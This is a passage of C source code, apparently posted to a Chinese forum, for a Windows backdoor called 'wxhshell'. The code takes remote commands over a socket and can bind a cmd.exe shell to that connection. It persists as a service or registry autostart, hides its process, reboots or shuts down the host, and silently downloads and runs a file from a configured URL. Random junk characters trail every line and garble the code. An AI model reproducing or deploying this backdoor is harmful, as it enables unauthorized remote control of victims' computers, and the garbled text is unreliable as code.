  2wwJ>iR`  
  // 帮助 O 8XHaVLg3  
  case '?': { *~0U4kw+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7Xf52\7n  
    break; K n,td:(  
  } 14z ?X%  
  // 安装 0S2/,[-u+  
  case 'i': { K7c[bhi_w  
    if(Install()) j06qr\Es  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7(l>Ck3B#  
    else za!8:(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zyP9 n[eZ  
    break; kJK*wq]U6  
    } Wn-'iD+9<  
  // 卸载 kwUy^"O  
  case 'r': { w0^}c8%WR  
    if(Uninstall()) L L? .E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )=pa*  
    else YF)k0bu&;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d<Dm(   
    break; / }Pj^^6A<  
    } <S3s==Cg  
  // 显示 wxhshell 所在路径 &a.A8v)  
  case 'p': { Z -fiJ75  
    char svExeFile[MAX_PATH]; (\UpJlW  
    strcpy(svExeFile,"\n\r"); Y49&EQ  
      strcat(svExeFile,ExeFile); aM+Am,n`@  
        send(wsh,svExeFile,strlen(svExeFile),0); Y.kgJ #2  
    break; nrg$V>pD  
    } 2p~}<B  
  // 重启 OJiwI)a9  
  case 'b': { lokKjs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9DdR"r'7  
    if(Boot(REBOOT)) nh*6`5yj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ksf6O$  
    else { ZI.Czzx\=  
    closesocket(wsh); +Jh1D_+!9  
    ExitThread(0);  h@PE:=  
    } Ot`znJU@  
    break; 2Q5 -.2]  
    } AQwai>eL  
  // 关机 |k^C-  
  case 'd': { 055C1RV%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $plqk^P  
    if(Boot(SHUTDOWN)) >t{-_4Yv?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JOH\K0=e  
    else { u|LDN*#DW  
    closesocket(wsh); 0Wj,=9q  
    ExitThread(0); =Cd{bj.8  
    } P$Q,t2$A  
    break;  +;-ZU  
    } 0:`*xix  
  // 获取shell |DYgc$2pN  
  case 's': { G=]ox*BY  
    CmdShell(wsh); V*DDU]0k  
    closesocket(wsh); ?dPr HSy  
    ExitThread(0); .N7<bt@~)  
    break; e07u@_'^  
  } >gDeuye  
  // 退出 WLA&K]  
  case 'x': { q@g#DP+C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fN/;BT  
    CloseIt(wsh); (&Rql7](8  
    break; 7>=  
    } 0SQrz$y  
  // 离开 pHXs+Ysw+  
  case 'q': { bh(} f.@ 9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?) T@qn+  
    closesocket(wsh); @]!9;?so  
    WSACleanup(); 6_:I~TTX  
    exit(1); D|*yeS4>  
    break; K|Eelhm  
        } D5!#c-Y-  
  } 1_};!5$.  
  } 70'gVCb  
_xmQGX!|  
  // 提示信息 `NTtw;%Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uW [yNwM  
} 3b|=V  
  } Gu@C* .jj!  
Si@ 6'sw  
  return; N\];{pe>  
} AOJ[/YpM  
!C h1q  
// shell模块句柄 ,Js-'vX  
int CmdShell(SOCKET sock) 0' oXA'L-J  
{ F]t=5 -O<  
STARTUPINFO si; +u&[ j/  
ZeroMemory(&si,sizeof(si)); F-$!e?,H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9)t[YE:U3!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @]]&^ 7  
PROCESS_INFORMATION ProcessInfo; 9g\;L:'  
char cmdline[]="cmd"; ~> N63I6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *AP"[W  
  return 0; F{.\i*$  
} mz+UkA'  
fs?H  
// 自身启动模式 ;6~5FTmV  
int StartFromService(void) Eh)VT{vp  
{ l4dG=x}M]  
typedef struct Oi zj |'  
{ z1]nC]2  
  DWORD ExitStatus; 8d2\H*a9~  
  DWORD PebBaseAddress; S~hu(x#  
  DWORD AffinityMask; 6ypLE@Mk  
  DWORD BasePriority; .rITzwgB  
  ULONG UniqueProcessId; 1= 7ASS9  
  ULONG InheritedFromUniqueProcessId; x NjQ"'i8  
}   PROCESS_BASIC_INFORMATION; eWN g?*/  
CmV &+C$V%  
PROCNTQSIP NtQueryInformationProcess; !\$V?*p7  
W+/_0GgQ3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (^(l=EN-<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >:4`y"0  
[sjkm+ ?  
  HANDLE             hProcess; #UhH  
  PROCESS_BASIC_INFORMATION pbi; IxS%V31  
7~F~'V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xQ7U$QF|]  
  if(NULL == hInst ) return 0; "l9aBBiu  
1. +6x4%rV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BjagG/ sX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); co3\1[q"b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;-XfbqZ\  
vzFp Xdt  
  if (!NtQueryInformationProcess) return 0; 5A*&!1T  
o<%0|n_O&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^!d0a bA  
  if(!hProcess) return 0; S1I.l">P  
k=[s%O 6H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 92t.@!m`  
-fl6M-CYX  
  CloseHandle(hProcess); ,oh;(|=  
]d-.Mw,'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vsZ?cd  
if(hProcess==NULL) return 0; }{VOyPG  
Z.u 1Dz  
HMODULE hMod; jS~Pdz  
char procName[255]; jeJgDAUv  
unsigned long cbNeeded; QF\nf_X  
Ei):\,Nv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FOk;=+  
@aZTx/  
  CloseHandle(hProcess); P!E2.K,  
5K2K'ZkI  
if(strstr(procName,"services")) return 1; // 以服务启动 KMz!4N  
)S(Ly.  
  return 0; // 注册表启动 XC)9aC@s  
} e1LIk1`p  
}ePl&-9T  
// 主模块 *=2W:,$  
int StartWxhshell(LPSTR lpCmdLine) ~bx ev/$d  
{ 4|E^ #C  
  SOCKET wsl; giX[2`^NG  
BOOL val=TRUE; xsn=Ji2 F  
  int port=0; )?UoF&c/  
  struct sockaddr_in door; Jp_#pV*}:  
r+8D|stS  
  if(wscfg.ws_autoins) Install(); j&oRj6;Ha+  
#}FUau$  
port=atoi(lpCmdLine); [GI~ &  
sqtz^K ROM  
if(port<=0) port=wscfg.ws_port; U]~@_j  
Tk4>Jb  
  WSADATA data; Lr D@QBT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Leb|YX  
ro\ oL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L;%w{,Ji  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~(ke'`gJ0-  
  door.sin_family = AF_INET; G:":CX"O(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5EcVW|(  
  door.sin_port = htons(port); UGI<V!  
7!pKlmQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZQ_6I}i")  
closesocket(wsl); ~}}<+JEEO  
return 1; :86:U 0^  
} nYj rEy)Q  
e))L&s  
  if(listen(wsl,2) == INVALID_SOCKET) { 3@Mh* \;\b  
closesocket(wsl); {9U!0h-2"  
return 1; fk5'v   
} <[cpaZT,  
  Wxhshell(wsl); #mw !_]  
  WSACleanup(); @m9pb+=v  
q\?s<l63  
return 0; > 0MP[  
$TXxhd 6  
} ovTL'j!  
p> `rTaeZg  
// 以NT服务方式启动 Iz09O:ER  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0X5cn 0L^  
{ <.QaOLD  
DWORD   status = 0;  7;fC%Fq  
  DWORD   specificError = 0xfffffff; eZa*WI=  
3- Kgz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w}>%E6UY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4SJ aAeIZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OL>>/T  
  serviceStatus.dwWin32ExitCode     = 0; *x|%Nua"  
  serviceStatus.dwServiceSpecificExitCode = 0; 7@fS2mu  
  serviceStatus.dwCheckPoint       = 0; #5@(^N5p`  
  serviceStatus.dwWaitHint       = 0; lx%c&~.DiB  
d#rr7O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fd&Fn=!  
  if (hServiceStatusHandle==0) return; <|}Z6Ti  
`Npa/Q  
status = GetLastError(); B>^6tdz  
  if (status!=NO_ERROR) n[iwi   
{ K=[7<b,:3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \5r^D|Rp}  
    serviceStatus.dwCheckPoint       = 0; 9:USxFM  
    serviceStatus.dwWaitHint       = 0; 't5ufAT  
    serviceStatus.dwWin32ExitCode     = status; 6(bN*.  
    serviceStatus.dwServiceSpecificExitCode = specificError; Fvl\.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8(% F{&<;  
    return; G;G*!nlWf  
  } )t|:_Z  
JX=rL6Y@:;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _-_iw&F  
  serviceStatus.dwCheckPoint       = 0; $*#^C;7O  
  serviceStatus.dwWaitHint       = 0; )4 4Y`v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *OG<+#*\_?  
} NZB*;U~t  
]!B0= XP  
// 处理NT服务事件,比如:启动、停止 !E 5FU *s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MeEa|.  
{  TUcFx_  
switch(fdwControl) "/Qz?1>l+  
{ M%S7cIX ]F  
case SERVICE_CONTROL_STOP: ?'MkaG0g  
  serviceStatus.dwWin32ExitCode = 0; :2? g_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #KJ# 1  
  serviceStatus.dwCheckPoint   = 0; 'v6@5t19j  
  serviceStatus.dwWaitHint     = 0; UA6id|G  
  { o8g7wM]M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lvke!~#  
  } q`c!!Lg  
  return; Z6Fu~D2U y  
case SERVICE_CONTROL_PAUSE: OX7=g$S 1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^5sA*%T4  
  break; lKf58 mB  
case SERVICE_CONTROL_CONTINUE: I`V<Sh^Qd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  cca g8LC  
  break; %;'~TtW5  
case SERVICE_CONTROL_INTERROGATE: j&d5tgLB  
  break; ,_e [P  
}; gXdMGO>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0~qc,-)3  
} /mex{+p>tO  
F06o-xH=  
// 标准应用程序主函数 #DUfEZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {v|!];i  
{ .Fo#Dmq3  
"JB4 Uaa  
// 获取操作系统版本 TJ"-cWpO1  
OsIsNt=GetOsVer(); xnZnbgO+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )zr*Ecz  
BiYxI{VFD  
  // 从命令行安装 b)d;eS  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z}+}X|  
z\]Z/Bz:6  
  // 下载执行文件 NU=ru/  
if(wscfg.ws_downexe) { HOP*QX8C%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g< j)  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z =+Z96  
} xe!bfzU  
FH,]'  
if(!OsIsNt) { $tmdE )"&  
// 如果时win9x,隐藏进程并且设置为注册表启动 7iP+!e}$.  
HideProc(); o}rG:rhIh  
StartWxhshell(lpCmdLine); h9)S&Sk{s  
} ybBmg'198  
else {18hzhs  
  if(StartFromService()) tMxd e+ $y  
  // 以服务方式启动 ZxF`i>/h  
  StartServiceCtrlDispatcher(DispatchTable); ;4rhh h&  
else @_+aX.,  
  // 普通方式启动  q+L'h8  
  StartWxhshell(lpCmdLine); !D??Y^6bI  
Nz dN4+  
return 0; ukiWNF/  
}
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只看该作者 1 发表于: 2006-10-10
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